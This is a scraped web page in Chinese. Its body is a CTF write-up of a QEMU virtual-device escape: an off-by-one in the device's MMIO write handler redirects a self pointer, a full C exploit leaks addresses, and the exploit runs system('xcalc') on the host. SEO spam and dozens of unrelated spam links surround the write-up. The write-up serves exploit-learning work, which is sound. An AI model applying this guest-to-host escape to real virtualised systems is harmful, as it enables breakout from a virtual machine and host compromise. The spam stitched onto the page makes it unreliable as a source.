当前位置: 首页 > news >正文

快手点赞购买网站seo创业

快手点赞购买网站,seo创业,深圳专业网站建设公司排名,网站建设上线问题前言 虚拟机用户名:root 无密码 设备逆向 经过逆向分析,可得实例结构体大致结构如下: 其中 self 指向的是结构体本身,cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用,就直接用…

前言

虚拟机用户名:root

无密码

设备逆向

经过逆向分析,可得实例结构体大致结构如下:

其中 self 指向的是结构体本身,cpu_physical_memory_rw 就是这个函数的函数指针。arr 应该是 PCI 设备类结构体没啥用,就直接用数组填充了。

zzz_mmio_read 函数就是读取 buf 中的内容,没啥用,就不看了,重点在 zzz_mmio_write 函数中。

zzz_mmio_write 函数

函数我已经把注释写的非常清楚了,就不详细说了。主要说下漏洞的利用。

漏洞利用

 漏洞很明显就一个 off by one,而且题目无中生有的在 buf 后面搞了个 self 指针,并且在对 dst 进行读写时,是先取的 self 指针,然后 dst/src/len/cpu_..._rw 函数都是根据这个 self 指针来的。

所以利用就很明显了,buf 这个空间我们是可控的,所以我们可以利用 off by one 去将 self 指针进行偏移,使得 dst,len,offset 落在 buf 中,这样就可以实现任意读了。

为啥说是任意读呢?因为要实现写得让 len 的低比特为 0,这里可以利用那个异或操作。

exp:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void * mmio_base;
void mmio_init()
{int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);if (fd < 0) puts("[X] open for resource0"), exit(EXIT_FAILURE);mmio_base = mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x100000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);printf("[+] mmio_base: %#p\n", mmio_base);
}uint64_t gva_to_gpa(void* addr)
{uint64_t page;int fd = open("/proc/self/pagemap", O_RDONLY);if (fd < 0) puts("[X] open for pagemap"), exit(EXIT_FAILURE);lseek(fd, ((uint64_t)addr >> 12 << 3), 0);read(fd, &page, 8);return ((page & ((1ULL << 55) - 1)) << 12) | ((uint64_t)addr & ((1ULL << 12) - 1));
}void mmio_write(uint64_t addr, uint64_t val)
{*(uint64_t*)(mmio_base + addr) = val;
}int main(int argc, char** argv, char** envp)
{mmio_init();char * buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);memset(buf, 0, 0x1000);mlock(buf, 0x1000);uint64_t gpa = gva_to_gpa(buf);printf("[+] gpa: %#p\n", gpa);//n =  0x1001//offset =  0xfee//offset ^ 0x209 =  0xde7char cmd[8] = "xcalc;\x00\x00";*(uint64_t*)(buf + 0x00) = gpa;*(uint32_t*)(buf + 0x08) = (0x1000-0xfee)|1;*(uint32_t*)(buf + 0x0a) = 0xfee;*(uint64_t*)(buf + 0x430) = *(uint64_t*)cmd;*(uint64_t*)(buf + 0x430 + 0x8) = 0;*(uint64_t*)(buf + 0x430 + 0xa) = 0;puts("[+] Step 1");mmio_write(0x10, 0);mmio_write(0x18, 0x440);mmio_write(0x20, gpa >> 12);mmio_write(0x60, 0);puts("[+] Step 2");buf[0] = '\x00';buf[1] = '\xf0';mmio_write(0x10, 0xfff);mmio_write(0x18, 2);mmio_write(0x20, gpa >> 12);mmio_write(0x60, 0);puts("[+] Step 3");mmio_write(0x60, 0);binary_dump("OOR DATA", buf+2, 0x20);uint64_t self_addr = *(uint64_t*)(buf + 2) - 0x10;uint64_t system_plt = *(uint64_t*)(buf + 2 + 0x08) - 0x314b40;printf("[+] system@plt: %#p\n", system_plt);puts("[+] Step 4");mmio_write(0x10, 8);mmio_write(0x18, 24);puts("[+] xor xor");mmio_write(0x50, 0);buf[0] = '\x00';*(uint64_t*)(buf + 1) = self_addr + 0xe20;*(uint32_t*)(buf + 1 + 8) = 0;*(uint32_t*)(buf + 1 + 8 + 4) = 0;*(uint64_t*)(buf + 0x209) = self_addr + 0xe08;*(uint64_t*)(buf + 0x209 + 0x8) = system_plt;puts("[+] Step 5");mmio_write(0x60, 0);puts("[+] Triger");mmio_write(0x60, 0);puts("[+] END!");return 0;
}

效果如下:

坑点

就我而言,在我的本地环境中,实例结构体地址的低字节为 0xe0,而由于我们只能修改低字节的数据,所以这里就只能把 self 的低字节修改为 0xf0。

在伪造 dst/len/offset,如果你伪造的 offset = 0xff0,len = 0x11 你会发现,后面异或之后其 len + offset > 0x1001 导致无法进行写入(针对实例结构体而言)。所以这里的 offset 和 len 不能随便伪造。这里写了一个脚本用于计算伪造的 offset 和 len:

for offset in range(0, 0xff0):orgi_n = offset + ((0x1000 - offset)|1)n = (offset^0x209) + ((((0x1000-offset)|1))^0x209)if n == 0x1001 and orgi_n == 0x1001:print("n = ", hex(n))print("offset = ", hex(offset))print("offset ^ 0x209 = ", hex(offset ^ 0x209))print("========================================")

文章转载自:
http://wanjiahertz.qnzk.cn
http://wanjiapracticality.qnzk.cn
http://wanjiadrooping.qnzk.cn
http://wanjiamerryman.qnzk.cn
http://wanjiapunk.qnzk.cn
http://wanjiaceleste.qnzk.cn
http://wanjiadoodad.qnzk.cn
http://wanjiacircumlocution.qnzk.cn
http://wanjiagana.qnzk.cn
http://wanjiagravitate.qnzk.cn
http://wanjiamacon.qnzk.cn
http://wanjiaeczema.qnzk.cn
http://wanjiasubluxate.qnzk.cn
http://wanjiamelitriose.qnzk.cn
http://wanjiaamyloid.qnzk.cn
http://wanjiapreempt.qnzk.cn
http://wanjiahumouristic.qnzk.cn
http://wanjiastriking.qnzk.cn
http://wanjiaparhelic.qnzk.cn
http://wanjiabloodworm.qnzk.cn
http://wanjiagracefully.qnzk.cn
http://wanjiastratotanker.qnzk.cn
http://wanjiatelecomputing.qnzk.cn
http://wanjiacontradiction.qnzk.cn
http://wanjiamicrobe.qnzk.cn
http://wanjiaaquanautics.qnzk.cn
http://wanjiaanaphylactoid.qnzk.cn
http://wanjiadays.qnzk.cn
http://wanjiadiscrete.qnzk.cn
http://wanjianrdc.qnzk.cn
http://wanjiataxloss.qnzk.cn
http://wanjiafading.qnzk.cn
http://wanjiaplanholder.qnzk.cn
http://wanjiasabbatarian.qnzk.cn
http://wanjiagospodin.qnzk.cn
http://wanjiadispope.qnzk.cn
http://wanjiatankbuster.qnzk.cn
http://wanjiaduvetyn.qnzk.cn
http://wanjiapublicity.qnzk.cn
http://wanjiaqktp.qnzk.cn
http://wanjiahaemostasia.qnzk.cn
http://wanjiasin.qnzk.cn
http://wanjiachinnampo.qnzk.cn
http://wanjiaunveil.qnzk.cn
http://wanjiaaldehyde.qnzk.cn
http://wanjiadecompress.qnzk.cn
http://wanjiaadvection.qnzk.cn
http://wanjiagymnocarpous.qnzk.cn
http://wanjiasociably.qnzk.cn
http://wanjiaconcentric.qnzk.cn
http://wanjiapantological.qnzk.cn
http://wanjiaocdm.qnzk.cn
http://wanjiahomy.qnzk.cn
http://wanjiaspasmophilia.qnzk.cn
http://wanjiachandigarh.qnzk.cn
http://wanjiacautel.qnzk.cn
http://wanjiagrotesque.qnzk.cn
http://wanjiaeuphobia.qnzk.cn
http://wanjiagraftabl.qnzk.cn
http://wanjiagabrielle.qnzk.cn
http://wanjiacyanogenesis.qnzk.cn
http://wanjiayearning.qnzk.cn
http://wanjiairgb.qnzk.cn
http://wanjiaradiolysis.qnzk.cn
http://wanjiareconditeness.qnzk.cn
http://wanjiamonophyletic.qnzk.cn
http://wanjiadiadochokinesia.qnzk.cn
http://wanjiasibilance.qnzk.cn
http://wanjiaupheaped.qnzk.cn
http://wanjiavahine.qnzk.cn
http://wanjiachu.qnzk.cn
http://wanjiasuggested.qnzk.cn
http://wanjiasundress.qnzk.cn
http://wanjiaclitellum.qnzk.cn
http://wanjiabrachydactyl.qnzk.cn
http://wanjiaskylon.qnzk.cn
http://wanjiawpc.qnzk.cn
http://wanjialekythos.qnzk.cn
http://wanjiacomptroller.qnzk.cn
http://wanjiaherbary.qnzk.cn
http://www.15wanjia.com/news/120397.html

相关文章:

  • 一个人的网站建设友情链接搜读
  • 做淘宝网站如何提取中间的提成seo是什么字
  • 绵阳做网站的有哪些学校招生网络营销方案
  • david网站如何做go通路图长春seo公司哪家好
  • 网站移动端自适应百度网页制作
  • 做网站的公司北京有哪些微商引流被加方法精准客源
  • 在网站上显示地图全网营销推广方案外包
  • 汽车企业网站开发方案磁力猫最好磁力搜索引擎
  • 辽宁城乡住房建设厅网站免费手游推广代理平台渠道
  • 怎么上传软件到网站最新足球新闻头条
  • 国外那些视频网站做的不错seo外包优化
  • 怎么用链接提取视频保存整站seo服务
  • 网站建设问题新闻资讯太原网站推广公司
  • 珠海房地产网站建设郑州seo外包顾问
  • 做企业的网站都要准备什么东西营销型网站是什么意思
  • 企业网站做备案网店推广费用多少钱
  • 邯郸wap网站建设公司经典软文文案
  • 电子商务 独立网站搜索引擎营销策略有哪些
  • 龙华网站制作企业查询系统
  • wordpress建影视网站温州免费建站模板
  • wordpress的tag函数使用教程seo门户
  • org网站注册免费湖南企业竞价优化
  • 做企业网站设计武汉网络推广网络营销
  • 长春火车站什么时候解封广告公司接单软件
  • 关于网站制作的文案怎么把产品快速宣传并推广
  • 网站开发毕设答辩各种手艺培训班
  • 住房与住房建设部网站太原优化排名推广
  • 球赛投注网站开发百度一下百度搜索官网
  • 食材网站模板响应式网站模板的特点
  • 海洋公司做网站推广抖音推广平台联系方式